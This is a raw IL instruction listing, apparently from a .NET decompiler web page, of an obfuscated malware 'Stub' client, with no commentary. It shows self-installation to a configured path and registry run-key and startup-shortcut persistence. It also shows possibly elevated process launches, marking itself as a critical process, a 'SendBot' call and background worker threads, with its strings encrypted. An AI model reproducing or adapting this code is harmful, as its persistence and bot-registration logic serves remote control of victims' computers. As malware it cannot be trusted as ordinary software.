stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 774
ldc.i4 770
call System.IO.DirectoryInfo Stub.Uninstaller::ႳႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int32)
ldc.i4.s 30
ldc.i4.s 124
call System.String Stub.AlgorithmAES::Ⴗ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char)
stloc.s V_5
ldc.i4.7 <null>
stloc.s V_29
br.s IL_02A7: ldloc.s V_29
ldloc.s V_5
ldc.i4 915
ldc.i4 896
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
ldc.i4 238
ldc.i4 243
call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char)
brtrue.s IL_032A: ldc.i4.4
ldc.i4.8 <null>
stloc.s V_29
br IL_02A7: ldloc.s V_29
ldc.i4.4 <null>
br.s IL_0323: stloc.s V_29
ldloc.s V_5
ldc.i4 538
ldc.i4 521
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
ldc.i4 334
ldc.i4 322
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႣႰ<System.String>(System.String,System.Int16,System.Int16)
pop <null>
ldc.i4.4 <null>
stloc.s V_29
br IL_02A7: ldloc.s V_29
ldloc.0 <null>
isinst System.String
ldc.i4 729
ldc.i4 711
call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char)
brfalse.s IL_0375: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_29
br IL_02A7: ldloc.s V_29
ldc.i4.6 <null>
br.s IL_036E: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
castclass System.IO.FileInfo
ldc.i4 212
ldc.i4 219
call System.Void Stub.Uninstaller::ႳႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char)
ldc.i4 1000
ldc.i4 230
ldc.i4 190
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴀ.Ⴀ::Ⴄ
ldc.i4 624
ldc.i4 553
call System.Byte[] My.MyComputer::Ⴜ<System.String>(System.String,System.Int32,System.Int32)
ldc.i4 798
ldc.i4 824
call System.Void Stub.AlgorithmAES::Ⴍ<System.String>(System.String,System.Byte[],System.Char,System.Int16)
leave.s IL_03F7: ldc.i4.5
dup <null>
ldc.i4 554
ldc.i4 625
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_7
ldc.i4.s 119
ldc.i4.s 41
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_03F7: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1525963418
ldc.i4.s 12
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 277
ldc.i4 355
call System.Void Stub.AlgorithmAES::Ⴓ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32)
ldc.i4.1 <null>
stloc.s V_31
br.s IL_03FA: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 935
ldc.i4 952
call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char)
brfalse.s IL_0471: ldc.i4.4
ldc.i4.0 <null>
stloc.s V_31
br.s IL_03FA: ldloc.s V_31
ldc.i4.4 <null>
br.s IL_046D: stloc.s V_31
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963406
ldc.i4.s 13
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 572
ldc.i4 576
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963355
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963333
ldc.i4.s 31
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.s 122
ldc.i4.0 <null>
call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char)
ldc.i4 470
ldc.i4 432
call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldc.i4.7 <null>
stloc.s V_31
br IL_03FA: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963337
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4.7 <null>
ldc.i4.s 123
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.2 <null>
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1525963357
ldc.i4.s 10
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.4 <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1525963334
ldc.i4.s 11
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4 765
ldc.i4 647
call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char)
ldc.i4.s 96
ldc.i4.6 <null>
call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.s 48
ldc.i4.s 46
call System.Diagnostics.Process Stub.Messages::ႣႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int16,System.Int32)
stloc.s V_8
ldloc.s V_8
castclass System.Diagnostics.Process
ldc.i4 443
ldc.i4 449
call System.Void Stub.Messages::ႣႰ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int32,System.Int16)
leave.s IL_05FE: ldc.i4.4
dup <null>
ldc.i4 803
ldc.i4 888
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_10
ldc.i4 573
ldc.i4 611
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_05FE: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴈ()
ldc.i4.s 58
ldc.i4.s 41
call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႥႼ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Int16)
ldc.i4.s 76
ldc.i4.s 61
call Microsoft.Win32.RegistryKey Stub.Messages::ႣႷ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32)
ldc.i4.1 <null>
ldnull <null>
ldc.i4 1525963372
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
ldc.i4 719
ldc.i4 704
call Microsoft.Win32.RegistryKey My.MyApplication::Ⴗ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 787
ldc.i4 879
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
ldloc.0 <null>
isinst System.String
ldc.i4 196
ldc.i4 232
call System.Void My.MyComputer::ႨႥ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Int16)
leave.s IL_069F: ldc.i4.0
dup <null>
ldc.i4 555
ldc.i4 624
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_11
ldc.i4 796
ldc.i4 834
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_069F: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 552
ldc.i4 539
call System.String My.MyComputer::ႥႨ(System.Environment/SpecialFolder,System.Char,System.Int32)
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963472
ldc.i4.5 <null>
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldsfld System.String Settings::InstallStr
ldc.i4.s 111
ldc.i4.s 19
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
ldc.i4.8 <null>
ldnull <null>
ldc.i4 1525963317
ldc.i4.s 17
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4 651
ldc.i4 691
call System.String Stub.AlgorithmAES::ႣႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16)
stloc.s V_12
ldc.i4.1 <null>
stloc.s V_35
br.s IL_06A2: ldloc.s V_35
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963297
ldc.i4.s 29
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963732
ldc.i4.s 12
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963730
ldc.i4.s 18
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
castclass System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
isinst System.String
stelem.ref <null>
ldloc.s V_15
isinst System.Object[]
stloc.s V_16
ldloc.s V_16
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
castclass System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_07C3: stloc.s V_18
ldloc.s V_16
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1525963727
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.8 <null>
stloc.s V_35
br IL_06A2: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963760
ldc.i4.s 31
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963729
ldc.i4.s 19
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.7 <null>
stloc.s V_35
br IL_06A2: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1525963755
ldc.i4.s 28
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.3 <null>
stloc.s V_35
br IL_06A2: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
castclass System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴀ.Ⴀ::Ⴓ
leave.s IL_089C: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_089C: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴀ.Ⴀ::Ⴓ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_08F2: ldc.i4.0
ldc.i4.6 <null>
stloc.s V_37
br.s IL_089F: ldloc.s V_37
ldc.i4.0 <null>
br.s IL_08EE: stloc.s V_37
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
call System.Void Stub.Main::SendBot()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.7 <null>
stloc.s V_37
br IL_089F: ldloc.s V_37
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙